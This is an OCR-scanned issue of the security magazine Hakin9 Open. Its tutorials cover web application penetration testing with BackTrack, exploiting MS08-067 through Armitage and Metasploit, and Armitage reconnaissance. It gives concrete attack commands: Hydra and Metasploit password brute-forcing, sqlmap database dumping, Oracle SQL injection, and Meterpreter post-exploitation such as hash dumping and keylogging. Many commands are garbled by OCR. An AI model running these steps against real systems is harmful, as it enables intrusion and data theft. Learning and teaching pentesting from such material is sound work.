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Dear Readers,

e would like to introduce completelly free issue of
Hakin9 Open. This time you will learn how to use
BackTrack with web application penetration tests. You will
also read how to use Metasploit, and get knowledge about
cyber wallet with an article “Digital Wallet — The New Way
of Exchanging Money?” which will allow you to under-
stand what exactly it is, and how to secure it to make your
transfers safe. For those ones who are interested in their
company’s security we have prepared a special section
with articles “Why Hire a Hacker?”, and “How Could Or-
ganisations Leverage Open-Source Intelligence To Gain
More Insight Into Their Cyber Threats?”.
We hope our articles written by experts will expand
your knowledge, and let you become a IT security profes-
sionals.

Enjoy your time with Hakin9!
Regards,
Ewelina Nazarczuk
Hakin9 Magazine Junior Product Manager

and Hakin9 Team
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PENTESTING WITH BACKTRACK

Web Application Penetration Testing
with Backtrack 06

By Prabhakaran Nair, CEH, ECSA, CHFI, OPST,
OPSA

Industries always prefer for open source tools that ba-
sically used for penetration testing and vulnerability as-
sessment of Web Applications .First choice for pen-
etration tester is Backtrack and latest version is kali.
Backtrack is a operating system that consist some open
source tool which is built in different languages such
as python,perl and ruby which offer better results from
Web Application penetration testing prospect.In My Ar-
ticle i am going to cover most of the tool which is used
for Web Application Penetration Testing.

How a Vulnerability
Exploitation Works? 14

By Jorge Mario, Awareness & Security Researcher

In the follow article, We reveal step by step how a vul-
nerability exploitation works using the free powerful
port scanner Nmap and the exploitation tool Metasploit
Framework MSF, booth integrated under same graphi-
cal user interface; Armitage easy GUI managing for all
users.

Meta-Fast AND Meta-Furious — A quick
hands-on description through the hacking
cicle using Armitage and the metasploit
framework 18

By Gabriel Lazo Canazas, eCPPT, CPTE, LA
27001

It’s not that easy for a beginner to grasp the concepts
of the Metasploit framework and it’'s several tools and
tweaks. There is a lot of material in hacking techniques,
advanced auxiliary modules, cool tips and strategies
but throughout the classes | teach, there is always at
least one student asking for a quick reference in Armit-
age to start understanding the Metasploit suite. That’s
why | decided to write this article, in order to help those
pentesting starters and give them a hint of the true
Metasploit power.
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HOW TO SECURE YOUR COMPANY?
Why Hire a Hacker? 24

By Dominique Karg, Chief Hacking Officer at
AlienVault

Before | start this article | would just like to clarify that
I’'m not advocating the hiring of computer criminals. If
you are being held to ransom by someone claiming to
have control of your infrastructure, and demanding pay-
ment to ‘prevent further damage or exposure’, then you
need to contact the relevant authorities. However, if you
want to prevent said criminals hijacking your systems
then perhaps a ‘hacker’ is exactly the person you need
for the job! At AlienVault, we pride ourselves in working
with ‘hackers’ and having them as part of our team to
ensure we provide the best service to our customers.

How Could Organisations Leverage Open-
Source Intelligence To Gain More Insight
Into Their Cyber Threats? 26

By Laurent Mathieu, CISSP, Information Security
Consultant

It seems to me that many organisations, including some
of the largest ones, do not sufficiently utilise the open-
source intelligence capabilities available online in or-
der to gain further insight into their own cyber security
threats. By adopting even basic techniques, organisa-
tions may be able to improve their detection time and
responsiveness to at least some of their cyber threats.

HOW TO HACK CYBER WALLET?

Digital Wallet — The new way of exchang-
ing money? 30

By Alexandre S. Cezar, CISSP, Information Secu-
rity Consultant and Project Manager

This article intends to introduce the reader the concept
of Digital Wallets, to show some interesting approaches
that are being used to secure them and discuss the as-
sociated risks, tools for exploitation and techniques to
secure your Digital Wallet.

HaHIN9 /.
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Web Application
Penetration Testing
With Backtrack

Industries always prefer for open source tools that
basically used for penetration testing and vulnerability
assessment of Web Applications. First choice for
penetration tester is Backtrack and latest version is kali.
Backtrack is a operating system that consist some open
source tool which is built in different languages such as
python, perl and ruby which offer better results from Web
Application penetration testing prospect. In My Article i
am going to cover most of the tool which is used for Web

Application Penetration Testing.

Content to Be Covered in This Publication

Enumerating Web Application Version and Ar-
chitecture

* ldentify Services and Ports Running on Web
Application Server
Enumerating Different Type of Databases

* Vulnerability Assessment and Penetration
Testing of Web Application

Introduction

Web Application Penetration Testing is a method to
evaluate the security of Web Application. They fo-
cus on security of Web Application, vulnerablitues
etc. In today world 90 percent of companies web-
site and there web application architecture is vul-
nerable for attack. Web Application vulnerabilities
lead to compromise web application and gain ac-
cess to confidential information. Objective of this
publication is just to gain information how to test
web application from security prospect and try to
patch all the hole which can lead to deface your
web application.

. HaRIN9
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Enumerating Web Application Version and
Architecture

In the first phase of Web Application Penetration
Testing we need to gather or enumerate different
type of information of Web Application which we
need to test such as:

Enumerating Ip address, DNS Records

* Gathering Operating System Information and
Application in which webSite is hosted

* Mirroring and Finding Directories of Website

Figure 1. Dnsenum.pl

04/2013



Web Application Penetration Testing With Backtrack

Enumerating Ip address, DNS Records
Dnsenum.pl
Is multithread script to enumerate information on a
domain and to discover non-contiguous ip blocks
and dns records.This tool is also used for zone
transfers. Command and output E.g (Figure 1) as
you see in above diagram because of security is-
sues we havn,t disclose the name of domain and
its records.

We used the simple command that is ./dnsenum.

pl targedomain.com.

DNSMap tool
Is another important tool which we can used to find
subdomain we need to check whether that domain
have subdomain and running which kind of web
application (Figure 2).

as you see in above diagram because of security
issues we havn,t disclose the name of domain and
its records.

We used the simple command that is ./dnsmap

targedomain.com.

DNSRecon
This tool is written in Ruby language the dnsrecon
can be used to:

* Reverse lookup for range.

+ Expand a top level domain.

* Brute force DNS Host and Domain using a
wordlist.

* Query the NS, SOA, and MX records.

* Performed zone transfer on each NS server re-
ported (Figure 3).

Figure 3. DNSRecon

www.hakin9.org/en

We used the simple command that is ./dnsrecon.
py -d targedomain.com SO in this -a is stand for do-
main there is other different switches are avail but
my objective is just to conduct web pentesting.

Identify Services and Ports Running on Web
Application Server

Before going to peform any kind of Vulnerablity
Assement and penetration in to the web applica-
tion first we need to identify which application they
using what is platform or operating system in which
they host there website.

First We identify which application and there
version is running or simple words we need to
perform Banner Grabing (Process of gathering
OS,Application Information). There are different
ways we will used to conduct banner grabbing

NetCat

Is a command which we used to perform banner
grabbing on target (Figure 4) if we go through the
diagram first we type nc target.com 80 Once you
type this command they you need to type http
method and commad is uEaDp / HTTP/1.0.

Nmap

Is a opensource tool which is used for informa-
tion gathering. With the help of NMAP we trying to
find the operating System of target web application
server. So we used the command such (Figure 5)

Other commands
Protocol Scan Method to identify the ports

Figure 4. NetCat

Figure 5. Nmap

<)
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PENTESTING WITH BACKTRACK

nmap -sO targetdomain.com

Check Particular Port

nmap -pl,21,25,80,443 -sO targetdomain.com
Identify UDP Services running on WebServer
nmap -sU -p- targetdomain.com

Identify Services Version

Figure 6. http-enum.nse

# webshsg 1.10

PSCAN INFO  SPIDLR USCAN FUZZ

Settings

Target [host | Pva]: Port [80]
———— ) Stop

St [index bt}

Results
internal directories: emails:

exctemal links:

Cansole-

NFO
ERROA

Status
Spider Is cumently rnnineg...

Figure 7. Webshag

Figure 8. Directory Listing With Metasploit

Target | Passwords Tuning Specific Start
) © Single Target 192.166.1.6
Target List
Prefer IPVE
Part 21

Pratocal ftp v

Output Opticns

Use S5 = BeVerboze

# Show Attempts Debug

Figure 9. FTP User and Password Crack
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nmap -sV targetdomain.com
nmap -sV —--version-intensity 8 target.com

(for setting amount of probe to change the intensi-
ty level of scan).

Aggresive Detection,OS Detection and Script
Scanning With Nmap

nmap -sC -sV -0 targetdomain.com

nmap -sT -sC targetdomain.com

Mirroring. Enumerating File Directories of
Targe Web Site

Directory listing and mirroring of website play a vi-
tal role for the penetration testing of Web Applica-
tion. We can get the idea how directory structer
in Web Application. With the Help of Backtrack
tool we can try to do mirroring of website because
some website protected with robots.txt which not
allowed to browse the entire directory.

Nmap Commands

In Nmap first we need to find the directory of nmap
scripts. Open the Script Directory = rootebt: cda /
opt/framework/share/nmap/scripts#.

Command
= nmap --script http-enum.nse -p80 targetdomain.com

http-enum.nse IS @ SCript which is basically used to
discover directory of webserver (Figure 6).

Webshag

Webshag is a tool in backtrack which is used for
web security audit.Here we used webshag for
webcrawling and directory listing.

To Open WebShag Please follow step: Back-
track => Information Gathering => Web Application
Analysis =>WebCrawler=>webshag-gui.

As Per Diagram once you open webshag you
need to move your cursor to Spider menu once you
go to spider menu in the setting Target you must
mention the name of the target (targetdomain.com).
You have to open same targetdomain website in
your browser and then go to click OK (Figure 7).

Directory Listing With Metasploit

Please go through the steps to performed directory

Listing With Metasploit

* Open Metasploit

* We need to Select Scanner of Directory Listing
and the command is

msf > use auxiliary/scanner/http/dir scanner

04/2013



Web Application Penetration Testing With Backtrack

* Then We need to Set ip address of the web-
server

auxiliary(dir scanner) > set rhosts IP-Address
» then type run to start scanner (Figure 8)
FTP User and Password Crack

* With the Help of Hydra We tried to find admin
username and password of FTP Server.Please
go through the steps

» Backtrack => Privlieges Esclation => Password
Attack => online tool => hydra-gtk (Once you
open the tool please go through the screenshots

First Type the ipaddress of ftp server,define the port
number and select the protocol (Figure 9). In the
password option select the username list and lo-
cate the usertext file that consist the username list
and then select the password list option and locate
the password list file that consist passwords (Figure
10). In the tunning just select number of task 2 and
in timout define the parameter 30 (Figure 11). See
the results once you select start (Figure 12).

Target Passwords Tuning Specific Start
Username

usemame

Q Usemame List roet/user

Password

O Password List Tootipass

Use Colon separated file

Try lagin as password ] Ty emphy password

-P frootjpass -t 2 192.168.1.6 ftp

hrydra -5 21 - A/ -L frookfuser

Figure 10. Username And Password Selecting

* xHydra
Torget Passwords Tuning  Specific Start
Perfarmance Opticns

Mumber of Tasks

Timeout

T Exit after first found pair

Use a HTTRMTTPS Proxy
© Mo Proxy ~) HTTP Method _) CONNECT Method

Proxy hitp:/127.0.0.1:8080
) Proxy needs authentication

Usemame

Password yourpass

hydra -5 21 -v -V -L frootjuser -P froot/pass -t 2 192.168.1.6 ftp A

Figure 11. Select Number of Task 2 and in Timout Define the
Parameter 30
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Enumerating Different Type of Databases
In this Publication We will discuss how to enumer-
ate the different type of database and try to fetch
records with open source tool which is avail in
Backtrack

* Enumerating Types,Version and Ports of Data-
base

* Enumerating and Bruteforcing Database Admin
Accounts

* Enumerating Records from Databases

Enumerating and Audit Types, Versions and
Open Ports of Databases

In this Modules we will Demonstrate how to enu-
merate database type,version and open port of da-
tabases with the help of Backtrack tool.

NMAP
First We need to identify type of database and
there port

Command is = nmap -sT -sC 192.168.1.6

Output = if u see the white check we identify there
are running mysql and postgresql (Figure 13)

Target Passwords Tuning Specific Starl

gal purposes only

g at 201
3), ~4 tries j

n *misfadmin® - pass "msfadmin® - 1 of 9 [child 0]
n “msfadmin® - pass “roptmani® = 2 of @ [child 1]

Clear Output

Start Stop

Save Cutput

Figure 12. See the Results Once You Select start

Figure 13. nmap -sT -sC 192.168.1.6
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Enumerating and Exploiting Databases
Records

To Enumerate MYSQL Database we need to used
Metasploit. We need to follow steps by which we
gain access to the databases

Step 1
First We need to find the username and password
of Database with Metasploit

+ open metasploit (msfConsole) in Backtrack

* need to Serach mysqgl exploit modules type
search mysql

* Type the following Command to Select Exploit

« command = use
mysgql login

+ Set the ip of Remote Host Database

e Command = set RHOSTS Targetip

* We need to give location of user list to perform
bruteforce attack

« command = set
usernames.txt

*+ We need to give location of password file to
perform bruteforce attack command = set
pass _file /root/Desktop/passwords.txt

* Then we need to run that exploit

e command = Exploit

* You can go through the output (Figure 14)

auxiliary/scanner/mysqgl/

user file /root/Desktop/

Step 2

Once you Find the Username and Password of
Database Account now next step we need to enu-
merate complete information about the database
open metasploit in Backtrack 5

® msf > use auxiliary/admin/mysqgl/mysgl enum

® msf auxiliary(mysqgl enum) > set PASSWORD ******%
® msf auxiliary(mysqgl enum) > set USERNAME root
® msf auxiliary(mysgl enum) > set RHOST 192.168.1.6
* exploit

* output

Step 3

We can do same enumeration against postgres
datbase by using PostgreSQL Login Utility:

®* US€ auxiliary/scanner/postgres/postgres login

» set the ipaddress of Postgres which you want
enumerate set RHOSTS 10.0.0.1

« Select the userfile that consist the list of us-
ers set /opt/metasploit/msf3/data/
wordlists/user.txt

» select the passwordfile that consist the pass-
word list set
data/wordlists/pass.txt

o HAaRINSG

user _file

pass file /opt/metasploit/msf3/
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Step 4

Sql Database Enumeration With SQLMAP. sqimap
is python based tool which is used for enumerating
and penetration testing of databases.Please follow
the steps to enumerate and penetrate into the da-
tabases

+ Step 1 = Try to search anything relared to id
€.J trainers.php?id=

* You will get plenty amount of link of website
which end up with i4=1 or other value

» Go to Backtrack =>Exploitation Tool =>Database
Exploitation =>MysqgIExploitation =>Sqlmap

* Type the following syntax (Ustand for url)
./sqlmap.py -u http://www.web.com/viewpacu.
php?id=14

» To get a list of databases running on tar-
get database /sglmap.py -u http://www.web.com/
viewpacu.php?id=14--dbs

* Once you find the databases select the specif-
ic database and try to enumerate the table of
that database and the command is ./sqimap.py
-u http://www.web.com/viewpacu.php?id=14-D mani
--tables In the current syntax mani is the name
of database mif u see the command we have
use o mean database

Step 5
Enumerating Oracle Database With Metasploit

» first we need to identify 1521 port is open on
target if its open it mean they running oracle
server

* To identify we need to run nmap and type the
following command nmap -sv 20.0.0.1 -p 1521

* once we find the 1521 port is open then we
need to open metasploit to enumerate which
oracle version they are using and the com-
mand iS msf > use
tnslsnr version

+ set the ipaddress of oracle database server mss

> set RHOSTS 20.0.0.1

auxiliary/scanner/oracle/

auxiliary(tnslsnr version)

msf auxiliary(tnslsnr version) > run

* once you get results then we need to Enumer-
ating Oracle Sid

®* msf > use auxiliary/scanner/oracle/sid _enum

set RHOSTS 20.0.0.1

®* msf auxiliary(sid _ enum)

Figure 14. Enumerate MYSQL Database
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Web Application Penetration Testing With Backtrack

®* msf auxiliary(sid enum) > run (yOU can get the
list of sids of the user)

* Conduct Sql Injection With Metasploit against
Oracle Database

®* msf > use auxiliary/sqgli/oracle/dbms export
extension

®* msf auxiliary(dbms export extension) > info

®* msf auxiliary(dbms export extension) > set
RHOST 20.0.0.1

®* msf auxiliary(dbms _export extension) > set

SID uyyy (id which we find)

msf auxiliary(dbms _ extension) > run

» once you run you will get the list of databases

export

Web Application Vulnerablity Assement

With Backtrack Tool

In Backtrack We have multiple tools which do fin-

gerprinting and vulnerablity Assessment for Web

Application

* Content Management System Identification
and Vulnerability Assessment

» Identification loadbalancer and Web Applica-
tion Firewall

Content Management System Identification
and Vulnerability Assessment
Backtrack have multiple tools that used to identify
CMS, banner grabbing and vulnerablity Assess-
ment.Now Day 80 % organization using CMS in
there network and backtrack tools is always a best
choice for penetration tester to test the CMS.
Tools Which we demonstrate in this article:

» BlindElephant = A python based tool which is
used for web application fingerprinting. The
BlindElephant Web Application Fingerprinter
attempts to discover the version of a (known)
web application by comparing static files at
known locations against precomputed hashes
for versions of those files in all all available re-
leases. The technique is fast, low-bandwidth,
non-invasive, generic, and highly automatable.
To Open BlindElephant => Backtrack Menu

:fpentestf
'letESt

n ups

Startir ng E]l 1dElephant fingerprint for

b/blindelephant/
/blindelephant/s

src/blindelephant#-Dy
/blindelephant/dt

Figure 15. BlindElephant

ps:ntH 5t /enumération/ uFb cms -mplurer#

n BlindElephantfpy
nla.pkl with 38" version

version of joomla at

fcms-ex 1urpr D] -url

=> Information Gathering => Web Application
Anaylysis => CMS Identification => blindele-
phant if you see the Figure 15 the command is

python BlindElephant.py -p guess http://www.
wordpress.com/ wordpress

python BlindElephant.py -p guess http://www.
joomla.org/ joomla

if you see the command -p stand for pluggin

» CMSExplorer = A python based tool which enu-
merate plugins, modules and other components
of CMS.To open CMS Explorer Please follow
step to open CMS Backtrack => Information
Gathering => Web Application Analysis = >CMS
Identification =>CMS Explorer. Comands

for Drupal WebSite = ./cms-explorer.pl -url
http://example.com -type drupal

for Joomla WebSite =

example.com -type joomla (Figure 16)

./cms-explorer.pl -url http://

» whatweb = A python tool used for enumerating
banner grabbing, application server informa-
tion. To open WHATWEB Backtrack => Infor-
mation Gathering => Web Application Analysis
= >CMS Identification =>whatweb

comand = ./whatweb targetdomain.com
Please go through the output (Figure 17)

* WAFFIT = Python Based tool which is used to
identify web application firewall on target web ap-
plication server. To Open WAFFIT Backtrack =>
Information Gathering => Web Application Anal-
ysis = >IDS IPS Identification =waffit> Command
= ./wafw00f.py http://certifiedhacker.com/

* joomscan = Python based used which is used
for perform vulnerablity scanning against joomla

A pen atlo i W W '.
~[ [Ahttps: :' JOuery Pa

e[ ], ASP_NET, Wia-Proxy[1.1 localho: (s
AYSIA][MY], X- Powrr»:l =By[ASP.NET], HTTPServer[Microsoft-IIS
rallelus], IP[222.73.55.23%], X-Cache|localhost,localhost:3
8]

Figure 17. whatweb

-p gueSSSRELp/

http://www.joomla.org

http://joomta.com -type joomla

Figure 16. CMSExplorer
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Website. Top Open Joomscan Backtrack =>
Vulnerablity Assessment =>Web Application As-
sessment = > CMS Vulnerablity Identification =>
Jjoomscan Command = ./joomscan.pl -u target.
com. Please check the Figure 18 these is an out-
put of what i did perform

» Dirbuster = A java based tool used for enu-
merating hidden directories and files on web
application server. To Open DirBuster Back-
track => Vulnerablity Assessment =>Web Ap-
plication Assessment = > Web Application

Fuzzers=>dirbuster. In Below the target url op-
tion we need to define the url of the website,
select list Bruteforce. Click Start (Figure 19)

» ASPAuditor = Perl tool which is used for audit Asp
WebSite.To Open Aspauditor Backtrack =>Vul-

Figure 18. joomscan

< ¥ DWASP DirBuster 0.12 - Web Application Brute Forcing

Flle Options  About  Help

Target URL (g Wtp:iesample.com:804)

Waork Mithad Usar GET rigqueiibs o, (2] Auto Swilch (HEAD and GET)

Nurnber Of Threads =7k 10 Threads Go Faster

Select scanning type s) Ust based brute force Pure Brute Farce
File with list of dirsfiles

4 Browse | | i Ust Info

elect starting options: +) standard start point URL Fuz

| Brute For e Ders | Bar Rarcurs v Dir to staet with |/

| Drute Foree Filas Use Blank Extention  Flle extention [php

8| Exit > Start

Plasss complats the tast datails

Figure 19. Dirbuster

@ veca

Scan Alert Summary

G vt view *"

e o o e

Figure 20. VEGA

- HaRINS

nerablity Assessment =>Web Application Assess-
ment =>Web Vulnerablity Scanner =>asp=auditor
Command = /asp-audit.pl http://google.com -bf
(-or stand for bruteforce asp.net version)

« VEGA = It is an Java based open source tool

which is used to test web application security.
This tool consist a modules that basically used
to validate command injections, sql injections
other vulnerabilities. To open VEGA Backtrack
Menu => Vulnerability Assessment => Web Ap-
plication Assessment =>Web Vulnerablity Scan-
ner => VEGA. ONCE YOU OPEN VEGA YOU
Need to SELECT SCAN Option (Figure 20)
Once you Select Scan option it will come with
below windows that ask for selecting modules.
There are two modules in VEGA First One is
called Injection Modules (Figure 21)

& veGa

Create a New Scan

Mew Scan Paramcters

Input the base URI:

select the modules to run:
@ Injection Modules
@ Format String Injection Checks
@ URL Injection checks
@ HTTP Header Injection checks
@ shell Injection Checks
B XML Injection checks
@ SQLInjection Arithmetic checks
B Integer Overflaw Injection Checks
@ Direclory Listing and Traversal Checks
@ X55 Injection checks
+| @ Respounse Processing Modules

Cancel

Figure 21. Dirbuster

® w3af - Web Application Attack and Audit Framework
atian Help

Edit W Tool

Scan config
Profiles Target: |Insert the targst URL hers <

Plugin Active

TOP10 + audit

t_high_risk

This i an empty profile that you can use
to start a new configuration from

Plugin Active
* output @

9o Ao (]

<)

Figure 22. W3af
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site you want to test. On the left Option You

Create a New Scan see the profile on the based on which you
PETICEAn R VEGA can do audit against Web Application Serv-
ers. Once you select profile click on start. Sec-
Input the base URI: . ond modules is Response Processing Modules
please go through the Figure 23. Ininput Base
Select the modules to nun: .
+1 B Tnjection Modules " Url we need to define the target name e.g (tar-
8 Response Processing Modules get.com). If you select these modules then you
:{;;f,limfg;ft:nj ol have to check options against target web ap-
@ AJAX Detector plication according to the conditions and your
| PemDlcesure choice what you want to gather.
Social Securily/Social Insurance Number Deleclor
E-Mail Finder Madule
® source Code Disclosure Module W3af is penetration testing and auditing tool
o i b L which consist various modules based on Web
redit Card Identification .
@ Form autocomplete Payload, EXp|0|tS and attacks.

@ Empty Reponse Body Module
@ WSDL Detector
B |ntemnal IP Addresses

Figure 23. define the target name e.g(target.com)

+ Wa3af is penetration testing and auditing tool
which consist various modules based on Web PRABHAKARAN NAIR
Payload, Exploits and attacks. To Open W3af CEH, ECSA, CHFI, OPST, OPSA
Backtrack => Exploitation Tool => Web Ex- Information Security Consultant Working
plotitation Tool =>W3afgui. In the Below Fig- With Koenig Solutions Ltd
ure 22 You can see the option of TARGET. In ‘ :
TARGET you need to mention name of web-
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PENTESTING WITH BACKTRACK

How a Vulnerability
Exploitation Works?

In the follow article, We reveal step by step how a
vulnerability exploitation works using the free powerful
port scanner Nmap and the exploitation tool Metasploit
Framework MSF, booth integrated under same graphical
user interface; Armitage easy GUI managing for all users.

ms08 067 netapi reported by microsoft as MSB-

MS08-067 also known as CVE-2008-4250 or
OSVDB-49243 in a windows Xp service pakc 3
that although old, still remains operating in major
organizations as NASA, remember this month the
International Space Station (ISS) switched from
Windows Xp to Debian, for improved reliability
(http://www.extremetech.com/extreme/155392-in-
ternational-space-station-switches-from-windows-
to-linux-for-improved-reliability).

The operating system we use to play the pene-
tration test is Backtrack 5 R3, an operating system
based on Ubuntu 10.4 developed primarily to au-
dit, scan and penetrate systems. The most recent
version is backtrack 5 release 3, the project has
evolved to Kali Linux which no longer takes ubuntu
repositories, but directly from Debian. Kali is cur-
rently in version 1.0.

Let's start. First we launch the GUI Armitage
that's going to manage Nmap and Metasploit
Framework consoles in graphic mode:

Applications/BackTrack/Exploitation  Tools/Net-
work exploitation Tools/Metasploit Framework/Ar-
mitage or from Gnome just Type Alt+f2 then enter
Armitage and press run. Before it make sure you
are running Postgress engine. You also heed Nmap
and Java, all those tools are already pre configured
and pre installed with the backtrack operate system.

« HaRINS

I n short, we exploit the well known vulnerability

<)

o
&

<< back | track 5

First window shows connection options as we
said the tool is already preconfigured by the oper-
ate system. We select connect. It will take few min-
utes to do that.

x Connect...

Host 127.0.0.1

Port 35553

User msf
Pass

Connect | | Help

Then is necesary run the Metasploit Framework
RPC Server; Press Yes.
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How a Vulnerability Exploitation Works?

| x Start Metasploit? fecors# x|
@™ A Metasploit RPC server is not running or AR
0 not accepting connections yet. Would you < metasploit >
like me to start Metasploit's RPC server \

for you?

| Mo I Yes .

The interface is composed of two columns and
one row; The left column manages, payloads, Post
and exploitation Metasploit modules. The right col-
umn called target window shows in graphic mode
targets and their features. Finally, the row adobe

manages Nmap, MSF consoles views also some #"%,  Enter scan range (e.g., 192.168.1.0/24):
attacks too. Main interface look like this 0

192.168.0.1/24

| Cancel | ok

If the scan is good, Hosts are shown with icons
into the target window. if not so, make sure you are
scanning the correct ip range based on your net-
work class. Afterwards, We select from the menu
bar Attacks/Find Attack.

We are going to scan ports from whole local
network (LAN). There are some types of scan as
you can see in the screenshot, considering our
network is class C (Ip range from 192.0.0.0 to
223.255.255.0), we are using quick scan (Os de-
tect), the equivalent to the next Nmap advance
command:

root@bt:~# nmap --min-hostgroup 96 -sV -n -T4 -0

-F --version-light 192.168.0.1/24 When the attack analysis is complete, you can
now see an attack menu attached to each host in
the targets window

* [ auwiliary 2 Gat May 11, 11:45 PM
* [ exploit
* | pavicad
* [ post

(08 detect) |
¥

[‘consale x] conseie x| nmop % [inmap,x]

<) HaKINg .
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Now we can perform many all those types of at-
tacks shown in the attack menu attached, we are
going to exploit a well known vulnerability CVE-
2008-4250 so we choose Attack/smb/MSB-MS08-
067-netapi. This module exploits a parsing flaw
in the path canonicalization code of NetAPI32.dlI
through the Server Service. This module is capa-
ble of bypassing NX on some operating systems
and service packs. Settings are: LHOST local host
ip; LPORT: local port; RHOST: Remote Host ip;
RPORT: Remote port; SBMPIPE: Portocol. Set-
tings are already configured, just hit Launch.

E Attack 192.168.0.191
| Microsoft Server Service Relative Path Stack Corruption

This module exploits a parsing flaw in the path cancnicalization code of NetarI32.dll L

through the Server Service, This module is capable of bypassing NX on some operat rq[
svstems and senice packs. The correct taroet must be usad to orevant the Sarver %
! Qption 4| Value
|| LHosT 1962.168.0.114
LPORT 20480
RHOST + 192.168.0.191
| RPORT 445
| SMEPIPE BROWSER
|
Targets: |0 => Automatic Targeting il

| Use a reverse connection
L Show advanced options

Launch

When the attack is successful, the appearance
of the target icon change and one Meterpreter ses-
sion is opened.

54t May 11, 11:49 FM
= Armitage

reter/bing_tep

t 2013-85-11 2314

s HAaRIMS

Then we are able to communicate and interact
with the remote host through Meterpreter session,
we can now post exploit the system, we can Ac-
cess: Migrate process, escalate privileges, steal
Token, Dump Hashes, Persist, Pass Session. In-
teract: Command Shell, Meterpreter Shell, Desk-
top Shell. Explore: Browse Files, Show Processes,
Log Keystrokes, Screenshot, WebCam Shot. Also
Pivoting, Arp scan and kill processes.

tarp
[esktop (V)

[Conscle % [nemap X [nmap X [ explot X [Flesd X]

EFEEFEREENEE °

Upload... | | Maie Dinectory

Now we are going to To interact with the desk-
top’s targeted host, go to Meterpreter/Interact/
Desktop (VNC). This will stage a VNC server into
the memory of the current process and tunnel the
connection through Meterpreter. The system will
provide you the details to connect a local VNC cli-
ent to your target as seen in the screenshot

[*} Creating a VNC bind tcp stager: RHOST=127.0.0.1 LPORT=15066
[*} Running payioad handler

[*] Host process notepad.exe has PID 1256

[*) allecated memory at address Ow00400000, for 298 byte stager

[*] Writing the WVNC stager into memary.

[*] Starting the port forwarding from 16966 —> TARGET:16966

[*) Local TCP relay created: 127.0.0.1:1 6966 =-= 127.0.0.1:16966

Connect WNC viewer to 127.0.0.1:55972 (display 72)

If your connection is refused, you may need to migrate to a
PiEw Process to sat up WNC,

OK

We need type in terminal as a root the command
and details given by the system, thats going to
connect us to ven :

<)
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root@bt:~# vncviewer 127.0.0.1:5972 And thats all, by this way We can manage re-
motely in graphics mode the compromised host
SR 1 IS R e i through VNC.

' — For more information about vulnerabilities and
exploits, here is an updated table with effective Ex-
ploits pack (https://docs.google.com/spreadsheet/
ccc?key=0Agsv3XWFKSPEdFMyM2RqT2ZVRH
RuSDIrejRMTEhVV2c&usp=sharing).

JORGE MARIO

Awareness & Security Research
@nms_george

Websolutions Colombia Co-founder
ScamBox® Founder

@scamboxcol
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Meta-Fast

And Meta-Furious

A quick hands-on description through the hacking cicle
using Armitage and the metasploit framework.

Tools you will need to practice with the contents described
in this article: BACKTRACK 5R3 with Metasploit and

Armitage.

concepts of the Metasploit framework and it's

several tools and tweaks. There is a lot of ma-
terial in hacking techniques, advanced auxiliary
modules, cool tips and strategies but throughout
the classes | teach, there is always at least one
student asking for a quick reference in Armitage
to start understanding the Metasploit suite. That's
why | decided to write this article, in order to help
those pentesting starters and give them a hint of
the true Metasploit power.

Armitage is a very useful tool that provides a GUI
for Metasploit. It provides an easy way to repre-
sent and configure the targets, exploits and also
helps a lot with the post exploitation process. We
will be covering the first 4 phases of the hacking
cycle (Figure 1) with the use of Armitage.

In this article | will assume that you have already
downloaded Backtrack 5R3 that has Armitage al-
ready installed. If you want to download and con-
figure Armitage by your own on a Windows/Linux
computer, you can visit the official web page: www.
fastandeasyhacking.com.

To begin using Armitage we have to launch the
application inside Backtrack 5r3, on the path: Ap-
plications - Backtrack -  Exploitation tools >
Network Exploitation tools = Metasploit frame-
work = Armitage (as shown on Figure 2).

Right after you click calling for Armitage, you

s HAaRIMNSG

I t's not that easy for a beginner to grasp the

<)

will be presented with a connection window with
the default settings (username and password),
just click connect and if you are asked to “Start
Metasploit’'s RPC server” click “Yes”. You will have
to wait a little and then will be presented with a
screen similar to the one shown in Figure 3.

Reconnaissance @ @ Clearing Tracks
Maintaining Access
Scanning

Gaining Access

Figure 1. Hacking Cycle

- @ be o

Figure 2. Path To Launch Armitage
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Ok then, now that we have Armitage up and run-
ning we will start by doing the basics of the hack-
ing cycle.

Reconnaissance
Say you are on a local network with your pentest-
ing lab inside. The first thing you would want to
know is what systems are alive and available. You
can do that by using the very famous networking
tool named NMAP. The best thing about Armitage
is that you can call several options and different
tools from within Armitage itself.

To call nmap just go to the Host menu, select
NMAP SCAN and choose one of the options avail-

7 Sunjun 23 S19AM LA

0L K| V3RS 1B M 80 B0 00 B

Figure 3. Armitage Launched

en

able. Recommended for this particular phase:
PING SCAN or QUICK SCAN.

PING SCAN will send pings throughout the spec-
ified range detecting those systems that are up
and running. The result will be shown on a list at
the bottom of the screen (as shown in Figure 4).
From there you could choose a specific system, go
to the HOSTS menu and click on the ADD HOSTS
option. You will have to manually enter the IP from
the chosen system in order to add a target.

QUICK SCAN: Once you click the quick scan op-
tion you will be asked to enter a scan range. For
this scenario | am in the 192.168.1.0/24 network.
You can provide different types of syntax here. EG:

192.168.1.0/24
10.10.10.1-254

When the quick scan is done, you will be prompt-
ed with a Complete! message box and if the scan
found any live system, it will present it something
like the Figure 5.

=T v TTENcyT,
: MAC Address: 00:06:4F:8A:F0:00 (Pru-nels Technology)

: Mmap scan report for 192.168.1.33

: Host is up (0.000096s latency).

: MAC Address: 00:1F:DO:10:D8:8C (Giga-byte Technology Co.)
: Mmap scan report for 102.168.1.34

: HOST is up (B.011s latency).

: MAC Address: 9C:B7:0D:66:75:E9 (Lileon Technology)

; Nmap scan report for 192.168.1.35

: Host is up (0.011s latency).

Figure 4. PING SCAN Results

advertisement
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Scanning
Alright, we now have three systems found by the
nmap tool. We wish to know more about each one
of them. Our next step will be to fire more scan
mechanisms integrated in Armitage that make
use of several of the tools and tricks provided by
Metasploit (e.g: auxiliary modules).

We have two quick options to perform the scan:

* Hosts &> NMap Scan > Comprehensive or
maybe Quick Scan (OS detect). This option
will launch a new NMap Scan provided with
different options that will help to determine
the Operating System and the services being
used in the target system. Once you choose
this option, you will have to select a range of
IP addresses or type in the specific IP you
want as a target.

* Right Click the selected target/host and
choose SCAN. This option will launch a cou-
ple of auxiliary scans provided by metasploit it-
self. This scans will provide information about
the services and the Operating System.

For this article | chose the second option. Take
notice that the target system has now a windows

swen

Figure 6. Scan Results

» HaAaRING

<)

logo picture on it. Armitage does this to inform vi-
sually about some of the results. Right click the
target again and choose services. This will list
you the services available at the target. The result
is shown in Figure 6.

Gaining access

Now that we have relevant information about the
target, the next step would be finding vulnerabili-
ties and attack vectors. We can do this by going to
the ATTACKS menu and choose FIND ATTACKS,
once the process is over we will receive a mes-
